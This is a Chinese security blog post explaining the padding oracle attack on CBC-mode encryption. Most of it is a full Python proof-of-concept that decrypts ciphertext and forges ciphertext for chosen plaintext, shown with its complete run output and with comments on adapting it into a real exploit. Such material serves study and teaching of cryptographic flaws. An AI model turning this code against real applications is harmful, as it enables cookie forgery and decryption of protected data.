Padding Oracle Attack的一些细节与实现
-
Padding Oracle Attack还是颇具威力的,ASP.NET的Padding Oracle Attack被Pwnie评为2010年最佳服务端漏洞之一。还是看 Juliano Rizzo and Thai Duong 的相关Paper。
另外就是padbuster这个工具也是针对padding oracle的自动化实现,而且作者写的文章也是阐述padding oracle攻击原理最好的一篇。云舒还根据此篇文章写了个学习笔记,英文不好的同学可以看看看看云舒的中文版。因为前人已经写得很好了,我在此就不深入讲padding oracle的原理了,而是讲讲一些实现方面的细节。
但padbuster这个工具在我看来并不好使,它与网络耦合太紧密了,为此我自己实现了一个padding oracle的自动化工具。自己实现一遍果然是加深理解的最好方法。在现实攻击中,只需要看懂了我的代码,并在适当的地方做些定制化的修改即可写出exploit,此举也可过滤掉一些scriptkids。连续花了三天,奋战数个小时,终于完成了这份POC代码,想算法死了不少脑细胞。写得过程中完全没有参考padbuster的code,纯粹是依据自己对padding oracle的理解而写成。另外因为工作环境的原因,我的注释是用英文写的。
Padding Oracle Attack能做什么?
padding oracle针对的是加密算法中的CBC Mode,当加密算法使用CBC Mode时,如果满足攻击条件,那么利用Padding Oracle能够在不知道密钥的情况下,解密任意密文,或者构造出任意明文的合法密文。
如果你不能理解这句话的话,那么想想ASP.NET 的padding oracle攻击,能够使得攻击者完全解密网站的Cookie,或者是构造一个admin的Cookie,只要你知道Cookie明文的格式。
需要注意的是,padding oracle针对的是CBC模式,而不是某一个加密算法,所以任何分组加密算法,只要使用了CBC模式,都会受到影响。此类加密算法包括AES、DES、3-DES、Blowfish。。。。。。
Padding Oracle Attack的条件
但padding oracle不是没有任何限制的,否则世界就乱套了。padding oracle attack的达成条件是
1. 攻击者能够获得密文(ciphertext),以及密文对应的IV(初始化向量)
2. 攻击者能够触发密文的解密过程,且能够知道密文的解密结果
对于第一点,密文是我们攻击的目标,从cookie、敏感数据等很多地方自然可以获得。
密码学里的IV,并没有保密性的要求,所以对于使用CBC-MODE的加密算法来说,IV经常会随着密文一起发送。常见的做法是将IV作为一个前缀,附着在密文的前面。对于CBC-MODE来说,IV的长度必须与分组的长度相等。
在实施攻击准备时,如果能够获知目标使用的加密算法,就能大大简化工作。所以这里插一些很有用的“题外话”,不感兴趣的朋友可以直接跳过此部分。
=============================================================
通过密文猜测加密算法的思路
在现实攻击中,遇到一堆看了就眼花的密文通常有着无处下手的感觉?也许下面我讲的这些思路能帮到你。
首先,要知道在一般的互联网应用中,要使用加密算法,有着各种各样的限制。
一个是性能的限制,使用性能不好的加密算法,甚至是增加key的长度,都可能会使得性能以几何级数下降,这是架构师所无法忍受的事情。
二是实现加密算法的第三方库,一般来说只有一些流行加密算法有着比较稳定的第三方函数库。
综合这些因素,在一般的互联网应用中,对称加密算法的使用离不开这么几种算法:
1.stream cipher(RC4、XOR之流)
2.分组加密算法中的DES、3-DES、AES、Blowfish等,且因为性能的问题,模式选择可能大多数是 ECB、CBC,因为CFB模式等可能导致性能消耗增加若干倍,是架构师所不愿意看到的事情。
3. 程序员自己实现的一些野鸡算法(这种是最挫的,任何一本讲应用密码学的书应该都写了一条原则:不要自己实现加密算法)。
其次,几种常见的加密算法还有一个特征,就是密文的长度。对于stream cipher来说,明文的长度和密文的长度是一样的,密文的长度是没有规律的,所以如果看到了奇数字节的密文,若不是密文还附加了别的东西,就几乎可以断定是stream cipher了。
而分组加密算法的block size和key size都是固定的,见下表:
因此我们拿到了密文后,可以通过对长度的判断,来猜测它用的是什么加密算法。
比如 AES 的密文,必然是16的整数倍长度,DES、3-DES等则是8的整数倍。
加密算法加密后产生的密文,很多是不可见字符,因此在实际应用中,一般会使用编码的形式将密文编码起来。常见的有两种编码方式
一种是base64:
7BXXmAWWXzHDJPHvw6ybqx+RIQxwDCJP.......
一种是将密文字符的16进制转化为ascii码,比如:
907EA2E95B5A832B6EC8D5C2757C3866A202CDC7231AF5669CBD762F1B7F8A0F (64字节)
可能原本的密文是:
\x90\x7E\xA2\xE9\x5B\x5A......
所以这段密文的实际长度,应该是 64/2 = 32 字节。如果按照8字节(64 bit)分组,就是:
907EA2E95B5A832B
6EC8D5C2757C3866
A202CDC7231AF566
9CBD762F1B7F8A0F
其中第一组很可能是IV,也可能不是,因为服务端可能没有把IV附带在密文中。
如果服务端没有将IV附带在密文中,则IV的状态需要在服务端维护(或者写死在配置中),这种情况只适用于类似cookie这种情景,密文由服务端加密生成,又由服务端自己来解密,才能解得开。如果需要用到跨系统的调用,不附带IV,接收密文的一方即便有密钥,也是解不开密文的。
如果按照16字节(128bit)分组,则有可能是AES加密算法:
907EA2E95B5A832B6EC8D5C2757C3866
A202CDC7231AF5669CBD762F1B7F8A0F
最后,如果在知道明文的情况下,还可以通过改变明文的字节,来查看密文的变化。看是变动了几个字节,分组之间又有何关联,从而推断出密文使用的加密算法或是加密时选择的模式。关于这种技巧,推荐一篇文章,在此不深入讨论。
=============================================================
padding oracle attack的第二个条件,也是最关键的一个,是能够触发解密过程,且能够知道密文的解密结果。这是最为关键的一个条件。因为加密算法的加解密必须遵循一定的padding原则,如果padding不正确,则解密就可能不会成功。padding oracle attack就是通过验证解密时产生的明文是否符合padding的原则,来判断解密是否成功的。
padding的规则有很多种,在padding oracle attack中,使用的padding规则是 PKCS#5,它填充的每个字节值即为需要填充的字节数,即:
一般来说,解密时如果发现解密出来明文的padding不正确,解密函数可能会抛出一个异常;
如果解密出来明文的padding正确,则解密过程顺利完成。但在具体应用中,根据padding oracle解密出来的明文必然不是应用程序原本想要获得的结果,因此有可能出现一个业务上的自定义错误;
padding oracle attack正是利用了这两个错误之间的差异,来验证padding是否正确。所以能够验证解密后的结果,是padding oracle实施的必要条件。
在padbuster作者的文章中,他是通过服务端返回错误来验证的。如果服务端解密时发现padding错误,会抛出一个 500的错误:
而当服务端解密padding正确时,但解密出来的明文不符合业务期待,因此会抛一个200的自定义错误页面:
利用者两者间的差异,即可验证padding是否正确。
自动化实现Padding Oracle Attack
了解了padding oracle的原理和条件后,就可以实现我们的padding oracle代码了。因为padding oracle的第二个条件,其本质是确认解密后的明文,是否满足PKCS#5的padding规则,因此在POC中,我写了一个函数验证明文的PKCS#5 padding是否正确。
我使用的python加密算法库(),在padding不正确时也根本没有抛出异常。但我们通过对解密后明文的验证,同样能够完成padding oracle攻击。
解密函数的触发,也是直接调用了加密算法函数进行的解密,但这并不影响我们POC padding oracle的过程。
如要改写为实际攻击可用的exploit,这两个部分是需要根据环境自己修改的。
在具体实施解密过程时,是一个block一个block去操作的。
Padding Oracle 还可以实现任意自定义明文的加密,返回可以解密成此明文的密文和IV。其原理主要是获取解密过程中的一个临时中间值。如果有多个block时,需要从最后一个block开始推导。
不断的从后往前推导出新的IV,也就推导出了我们想要的密文和最终需要的IV。
代码如下:最终的运行效果:
使用以下测试数据:
########################################
# you may config this part by yourself
iv = '12345678' ===》 iv,随便自定义一个,需要和block size一样大小,我们需要这个值
plain = 'aaaaaaaaaaaaaaaaX' ===》 原本的明文,17字节,因为padding后可以分成3组
plain_want = "opaas" ===》希望通过padding oracle,得到解密为此明文的密文
# you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2
cipher = "blowfish" ===》 加密算法选择
########################################
输出:
[root@vps tmp]#python padding_oracle.py
=== Padding Oracle Attack POC(CBC-MODE) ===
=== by axis ===
=== axis@ph4nt0m.org ===
=== 2011.9 ===
=== Generate Target Ciphertext ===
[+] plaintext is: aaaaaaaaaaaaaaaaX
[+] iv is: \x31\x32\x33\x34\x35\x36\x37\x38
[+] ciphertext is: \xd7\xe6\x5d\xc9\xd7\xbb\x49\xec\x61\xe2\x67\x7e\x1b\xba\x33\x85\x34\xfc\xcd\xe4\x9f\xaa\xe9\x72
=== Start Padding Oracle Decrypt ===
[+] Choosing Cipher: BLOWFISH
[*] Now try to decrypt block 0
[*] Block 0's ciphertext is: \xd7\xe6\x5d\xc9\xd7\xbb\x49\xec
[*] Try IV: \x00\x00\x00\x00\x00\x00\x00\x58
[*] Found padding oracle: \x50\x53\x52\x55\x54\x57\x56\x01
[*] Try IV: \x00\x00\x00\x00\x00\x00\x54\x5b
[*] Found padding oracle: \x50\x53\x52\x55\x54\x57\x02\x02
[*] Try IV: \x00\x00\x00\x00\x00\x54\x55\x5a
[*] Found padding oracle: \x50\x53\x52\x55\x54\x03\x03\x03
[*] Try IV: \x00\x00\x00\x00\x50\x53\x52\x5d
[*] Found padding oracle: \x50\x53\x52\x55\x04\x04\x04\x04
[*] Try IV: \x00\x00\x00\x50\x51\x52\x53\x5c
[*] Found padding oracle: \x50\x53\x52\x05\x05\x05\x05\x05
[*] Try IV: \x00\x00\x54\x53\x52\x51\x50\x5f
[*] Found padding oracle: \x50\x53\x06\x06\x06\x06\x06\x06
[*] Try IV: \x00\x54\x55\x52\x53\x50\x51\x5e
[*] Found padding oracle: \x50\x07\x07\x07\x07\x07\x07\x07
[*] Try IV: \x58\x5b\x5a\x5d\x5c\x5f\x5e\x51
[*] Found padding oracle: \x08\x08\x08\x08\x08\x08\x08\x08
[+] Block 0 decrypt!
[+] intermediary value is: \x50\x53\x52\x55\x54\x57\x56\x59
[+] The plaintext of block 0 is: aaaaaaaa
[*] Now try to decrypt block 1
[*] Block 1's ciphertext is: \x61\xe2\x67\x7e\x1b\xba\x33\x85
[*] Try IV: \x00\x00\x00\x00\x00\x00\x00\x8c
[*] Found padding oracle: \xb6\x87\x3c\xa8\xb6\xda\x28\x01
[*] Try IV: \x00\x00\x00\x00\x00\x00\x2a\x8f
[*] Found padding oracle: \xb6\x87\x3c\xa8\xb6\xda\x02\x02
[*] Try IV: \x00\x00\x00\x00\x00\xd9\x2b\x8e
[*] Found padding oracle: \xb6\x87\x3c\xa8\xb6\x03\x03\x03
[*] Try IV: \x00\x00\x00\x00\xb2\xde\x2c\x89
[*] Found padding oracle: \xb6\x87\x3c\xa8\x04\x04\x04\x04
[*] Try IV: \x00\x00\x00\xad\xb3\xdf\x2d\x88
[*] Found padding oracle: \xb6\x87\x3c\x05\x05\x05\x05\x05
[*] Try IV: \x00\x00\x3a\xae\xb0\xdc\x2e\x8b
[*] Found padding oracle: \xb6\x87\x06\x06\x06\x06\x06\x06
[*] Try IV: \x00\x80\x3b\xaf\xb1\xdd\x2f\x8a
[*] Found padding oracle: \xb6\x07\x07\x07\x07\x07\x07\x07
[*] Try IV: \xbe\x8f\x34\xa0\xbe\xd2\x20\x85
[*] Found padding oracle: \x08\x08\x08\x08\x08\x08\x08\x08
[+] Block 1 decrypt!
[+] intermediary value is: \xb6\x87\x3c\xa8\xb6\xda\x28\x8d
[+] The plaintext of block 1 is: aaaaaaaa
[*] Now try to decrypt block 2
[*] Block 2's ciphertext is: \x34\xfc\xcd\xe4\x9f\xaa\xe9\x72
[*] Try IV: \x00\x00\x00\x00\x00\x00\x00\x83
[*] Found padding oracle: \x39\xe5\x60\x79\x1c\xbd\x34\x01
[*] Try IV: \x00\x00\x00\x00\x00\x00\x36\x80
[*] Found padding oracle: \x39\xe5\x60\x79\x1c\xbd\x02\x02
[*] Try IV: \x00\x00\x00\x00\x00\xbe\x37\x81
[*] Found padding oracle: \x39\xe5\x60\x79\x1c\x03\x03\x03
[*] Try IV: \x00\x00\x00\x00\x18\xb9\x30\x86
[*] Found padding oracle: \x39\xe5\x60\x79\x04\x04\x04\x04
[*] Try IV: \x00\x00\x00\x7c\x19\xb8\x31\x87
[*] Found padding oracle: \x39\xe5\x60\x05\x05\x05\x05\x05
[*] Try IV: \x00\x00\x66\x7f\x1a\xbb\x32\x84
[*] Found padding oracle: \x39\xe5\x06\x06\x06\x06\x06\x06
[*] Try IV: \x00\xe2\x67\x7e\x1b\xba\x33\x85
[*] Found padding oracle: \x39\x07\x07\x07\x07\x07\x07\x07
[*] Try IV: \x31\xed\x68\x71\x14\xb5\x3c\x8a
[*] Found padding oracle: \x08\x08\x08\x08\x08\x08\x08\x08
[+] Block 2 decrypt!
[+] intermediary value is: \x39\xe5\x60\x79\x1c\xbd\x34\x82
[+] The plaintext of block 2 is: X
[+] Guess intermediary value is: \x50\x53\x52\x55\x54\x57\x56\x59\xb6\x87\x3c\xa8\xb6\xda\x28\x8d\x39\xe5\x60\x79\x1c\xbd\x34\x82
[+] plaintext = intermediary_value XOR original_IV
[+] Guess plaintext is: aaaaaaaaaaaaaaaaX
=== Start Padding Oracle Encrypt ===
[+] plaintext want to encrypt is: opaas
[+] Choosing Cipher: BLOWFISH
[*] After padding, plaintext becomes to: \x6f\x70\x61\x61\x73\x03\x03\x03
[+] Encrypt Success!
[+] The ciphertext you want is: \x34\xfc\xcd\xe4\x9f\xaa\xe9\x72
[+] IV is: \x56\x95\x01\x18\x6f\xbe\x37\x81
=== Let's verify the custom encrypt result ===
[+] Decrypt of ciphertext '\x34\xfc\xcd\xe4\x9f\xaa\xe9\x72' is:
opaas
[+] Bingo!
[root@vps tmp]#
padding_oracle.py的源代码:
"""
Padding Oracle Attack POC(CBC-MODE)
Author: axis(axis@ph4nt0m.org)
http://hi.baidu.com/aullik5
2011.9
This program is based on Juliano Rizzo and Thai Duong's talk on
Practical Padding Oracle Attack.(http://netifera.com/research/)
For Education Purpose Only!!!
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
import sys
# https://www.dlitz.net/software/pycrypto/
from Crypto.Cipher import *
import binascii
# the key for encrypt/decrypt
# we demo the poc here, so we need the key
# in real attack, you can trigger encrypt/decrypt in a complete blackbox env
ENCKEY = 'abcdefgh'
def main(args):
print
print "=== Padding Oracle Attack POC(CBC-MODE) ==="
print "=== by axis ==="
print "=== axis@ph4nt0m.org ==="
print "=== 2011.9 ==="
print
########################################
# you may config this part by yourself
iv = '12345678'
plain = 'aaaaaaaaaaaaaaaaX'
plain_want = "opaas"
# you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2
cipher = "blowfish"
########################################
block_size = 8
if cipher.lower() == "aes":
block_size = 16
if len(iv) != block_size:
print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"
return False
print "=== Generate Target Ciphertext ==="
ciphertext = encrypt(plain, iv, cipher)
if not ciphertext:
print "[-] Encrypt Error!"
return False
print "[+] plaintext is: "+plain
print "[+] iv is: "+hex_s(iv)
print "[+] ciphertext is: "+ hex_s(ciphertext)
print
print "=== Start Padding Oracle Decrypt ==="
print
print "[+] Choosing Cipher: "+cipher.upper()
guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)
if guess:
print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])
print "[+] plaintext = intermediary_value XOR original_IV"
print "[+] Guess plaintext is: "+guess["plaintext"]
print
if plain_want:
print "=== Start Padding Oracle Encrypt ==="
print "[+] plaintext want to encrypt is: "+plain_want
print "[+] Choosing Cipher: "+cipher.upper()
en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)
if en:
print "[+] Encrypt Success!"
print "[+] The ciphertext you want is: "+hex_s(en[block_size:])
print "[+] IV is: "+hex_s(en[:block_size])
print
print "=== Let's verify the custom encrypt result ==="
print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"
de = decrypt(en[block_size:], en[:block_size], cipher)
if de == add_PKCS5_padding(plain_want, block_size):
print de
print "[+] Bingo!"
else:
print "[-] It seems something wrong happened!"
return False
return True
else:
return False
def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):
# the last block
guess_cipher = ciphertext[0-block_size:]
plaintext = add_PKCS5_padding(plaintext, block_size)
print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)
print
block = len(plaintext)
iv_nouse = iv # no use here, in fact we only need intermediary
prev_cipher = ciphertext[0-block_size:] # init with the last cipher block
while block > 0:
# we need the intermediary value
tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)
# calculate the iv, the iv is the ciphertext of the previous block
prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )
#save result
guess_cipher = prev_cipher + guess_cipher
block = block - block_size
return guess_cipher
def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):
# split cipher into blocks; we will manipulate ciphertext block by block
cipher_block = split_cipher_block(ciphertext, block_size)
if cipher_block:
result = {}
result["intermediary"] = ''
result["plaintext"] = ''
counter = 0
for c in cipher_block:
if debug:
print "[*] Now try to decrypt block "+str(counter)
print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)
print
# padding oracle to each block
guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)
if guess:
iv = c
result["intermediary"] += guess["intermediary"]
result["plaintext"] += guess["plaintext"]
if debug:
print
print "[+] Block "+str(counter)+" decrypt!"
print "[+] intermediary value is: "+hex_s(guess["intermediary"])
print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]
print
counter = counter+1
else:
print "[-] padding oracle decrypt error!"
return False
return result
else:
print "[-] ciphertext's block_size is incorrect!"
return False
def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):
result = {}
plain = ''
intermediary = [] # list to save intermediary
iv_p = [] # list to save the iv we found
for i in range(1, block_size+1):
iv_try = []
iv_p = change_iv(iv_p, intermediary, i)
# construct iv
# iv = \x00...(several 0 bytes) + \x0e(the bruteforce byte) + \xdc...(the iv bytes we found)
for k in range(0, block_size-i):
iv_try.append("\x00")
# bruteforce iv byte for padding oracle
# 1 bytes to bruteforce, then append the rest bytes
iv_try.append("\x00")
for b in range(0,256):
iv_tmp = iv_try
iv_tmp[len(iv_tmp)-1] = chr(b)
iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)
# append the result of iv, we've just calculate it, saved in iv_p
for p in range(0,len(iv_p)):
iv_tmp_s += iv_p[len(iv_p)-1-p]
# in real attack, you have to replace this part to trigger the decrypt program
#print hex_s(iv_tmp_s) # for debug
plain = decrypt(ciphertext, iv_tmp_s, cipher)
#print hex_s(plain) # for debug
# got it!
# in real attack, you have to replace this part to the padding error judgement
if check_PKCS5_padding(plain, i):
if debug:
print "[*] Try IV: "+hex_s(iv_tmp_s)
print "[*] Found padding oracle: " + hex_s(plain)
iv_p.append(chr(b))
intermediary.append(chr(b ^ i))
break
plain = ''
for ch in range(0, len(intermediary)):
plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )
result["plaintext"] = plain
result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]
return result
# save the iv bytes found by padding oracle into a list
def change_iv(iv_p, intermediary, p):
for i in range(0, len(iv_p)):
iv_p[i] = chr( ord(intermediary[i]) ^ p)
return iv_p
def split_cipher_block(ciphertext, block_size=8):
if len(ciphertext) % block_size != 0:
return False
result = []
length = 0
while length < len(ciphertext):
result.append(ciphertext[length:length+block_size])
length += block_size
return result
def check_PKCS5_padding(plain, p):
if len(plain) % 8 != 0:
return False
# convert the string
plain = plain[::-1]
ch = 0
found = 0
while ch < p:
if plain[ch] == chr(p):
found += 1
ch += 1
if found == p:
return True
else:
return False
def add_PKCS5_padding(plaintext, block_size):
s = ''
if len(plaintext) % block_size == 0:
return plaintext
if len(plaintext) < block_size:
padding = block_size - len(plaintext)
else:
padding = block_size - (len(plaintext) % block_size)
for i in range(0, padding):
plaintext += chr(padding)
return plaintext
def decrypt(ciphertext, iv, cipher):
# we only need the padding error itself, not the key
# you may gain padding error info in other ways
# in real attack, you may trigger decrypt program
# a complete blackbox environment
key = ENCKEY
if cipher.lower() == "des":
o = DES.new(key, DES.MODE_CBC,iv)
elif cipher.lower() == "aes":
o = AES.new(key, AES.MODE_CBC,iv)
elif cipher.lower() == "des3":
o = DES3.new(key, DES3.MODE_CBC,iv)
elif cipher.lower() == "blowfish":
o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
elif cipher.lower() == "cast":
o = CAST.new(key, CAST.MODE_CBC,iv)
elif cipher.lower() == "arc2":
o = ARC2.new(key, ARC2.MODE_CBC,iv)
else:
return False
if len(iv) % 8 != 0:
return False
if len(ciphertext) % 8 != 0:
return False
return o.decrypt(ciphertext)
def encrypt(plaintext, iv, cipher):
key = ENCKEY
if cipher.lower() == "des":
if len(key) != 8:
print "[-] DES key must be 8 bytes long!"
return False
o = DES.new(key, DES.MODE_CBC,iv)
elif cipher.lower() == "aes":
if len(key) != 16 and len(key) != 24 and len(key) != 32:
print "[-] AES key must be 16/24/32 bytes long!"
return False
o = AES.new(key, AES.MODE_CBC,iv)
elif cipher.lower() == "des3":
if len(key) != 16:
print "[-] Triple DES key must be 16 bytes long!"
return False
o = DES3.new(key, DES3.MODE_CBC,iv)
elif cipher.lower() == "blowfish":
o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
elif cipher.lower() == "cast":
o = CAST.new(key, CAST.MODE_CBC,iv)
elif cipher.lower() == "arc2":
o = ARC2.new(key, ARC2.MODE_CBC,iv)
else:
return False
plaintext = add_PKCS5_padding(plaintext, len(iv))
return o.encrypt(plaintext)
def xor_str(a,b):
if len(a) != len(b):
return False
c = ''
for i in range(0, len(a)):
c += chr( ord(a[i]) ^ ord(b[i]) )
return c
def hex_s(str):
re = ''
for i in range(0,len(str)):
re += "\\x"+binascii.b2a_hex(str[i])
return re
if __name__ == "__main__":
main(sys.argv)
摘自:大风起兮云飞扬
Padding Oracle Attack的一些细节与实现的更多相关文章
- 我对Padding Oracle Attack的分析和思考
道哥的<白帽子讲web安全>有一章提到Padding Oracle Attack的攻击方式,据说这货在2011年的Pwnie Rewards上还被评为"最具价值的服务器漏洞&qu ...
- padding Oracle attack(填充Oracle攻击)
最近学习到一种老式的漏洞,一种基于填充字节的漏洞.就想记录下来,早在2010年的blackhat大会上,就介绍了padding Oracle漏洞,并公布了ASP.NET存在该漏洞.2011年又被评选为 ...
- ASP.NET Padding Oracle Attack EXP
#!/usr/bin/perl## PadBuster v0.3 - Automated script for performing Padding Oracle attacks# Brian Hol ...
- Padding Oracle 和 CBC字节翻转攻击学习
以前一直没时间来好好研究下这两种攻击方式,虽然都是很老的点了= =! 0x01:Padding oracle CBC加密模式为分组加密,初始时有初始向量,密钥,以及明文,明文与初始向量异或以后得到中间 ...
- Padding Oracle攻击
最近在复现LCTF2017的一道题目,里面有一个padding oracle攻击,也算是CBC翻转攻击,这个攻击主要针对CBC加密模式的 网上有关这个攻击的博客文章很多,但是其中有一些细节可能是个人的 ...
- 中国气象局某分院官网漏洞打包(弱口令+SQL注入+padding oracle)
漏洞一.后台弱口令 后台地址:http://www.hnmatc.org/admin/ 直接爆破得到账号admin 密码admin888 漏洞二.SQL注入(前台后台都有) 注入点:http://w ...
- 【原创】实战padding oracle漏洞
首先关于padding oracle漏洞的原理请看: 步入正传~~ 搭建漏洞利用环境Perl 环境下载地址:链接:http://pan.baidu.com/s/1skFxVm1 密码:anuw 首先查 ...
- MS10-070 ASP.NET Padding Oracle信息泄露漏洞项目测试
MS10-070 ASP.NET Padding Oracle信息泄露漏洞1 漏洞描述:ASP.NET由于加密填充验证过程中处理错误不当,导致存在一个信息披露漏洞.成功利用此漏洞的攻击 ...
- Oracle总结【SQL细节、多表查询、分组查询、分页】
前言 在之前已经大概了解过Mysql数据库和学过相关的Oracle知识点,但是太久没用过Oracle了,就基本忘了...印象中就只有基本的SQL语句和相关一些概念....写下本博文的原因就是记载着Or ...
随机推荐
- SQL 是什么?
一.简介 SQL,Structured Query Language,结构化查询语言.
- Animating graphic objects in Windows Forms.
原文: Animating graphic objects in Windows Forms. http://bobpowell.net/animation.aspx 文件下载备份:http://fi ...
- MultiProvider
声明:原创作品,转载时请注明文章来自SAP师太技术博客( 博/客/园www.cnblogs.com):www.cnblogs.com/jiangzhengjun,并以超链接形式标明文章原始出处,否则将 ...
- 关于autoptr
参考自: http://www.cppblog.com/expter/archive/2009/03/29/78270.html auto_ptr是什么. 解释1.auto_ptr是一个管理指针的对象 ...
- 《BI那点儿事》数据流转换——导入列、导出列
导入列: 导入列例子现在来做一个例子:创建路径D:\Pictures随便在路径D:\Pictures中粘贴4个比较小的图像文件命名为01.png.02.png.03.png.04.png在路径D:\P ...
- Logistic 分类器与 softmax分类器
首先说明啊:logistic分类器是以Bernoulli(伯努利) 分布为模型建模的,它可以用来分两种类别:而softmax分类器以多项式分布(Multinomial Distribution)为模型 ...
- epoll的内部实现 & 百万级别句柄监听 & lt和et模式非常好的解释
epoll是Linux高效网络的基础,比如event poll(例如nodejs),是使用libev,而libev的底层就是epoll(只不过不同的平台可能用epoll,可能用kqueue). epo ...
- spring文件下载记录
/** * 下载方法 * @param request * @param response * @param storeName 文件在存在位置的名字(需要带着后缀) * @param content ...
- AlwaysOn与数据库镜像端点问题
今天在搭建一个测试环境的时候发现一个问题,我将AlwaysOn环境中某节点上的某个非可用性组里的数据库想实时备份到另外一台服务器上,因此我找了一个没有加域的工作组的服务器,与AlwaysOn主节点去搭 ...
- How to remove k__BackingField from Json data
当用DataContractJsonSerializer类序列化对象为Json时,发现序列化后的json对象,每个属性都带有k__BackingField后缀,像这样: 解决办法:为要被序列化的类打上 ...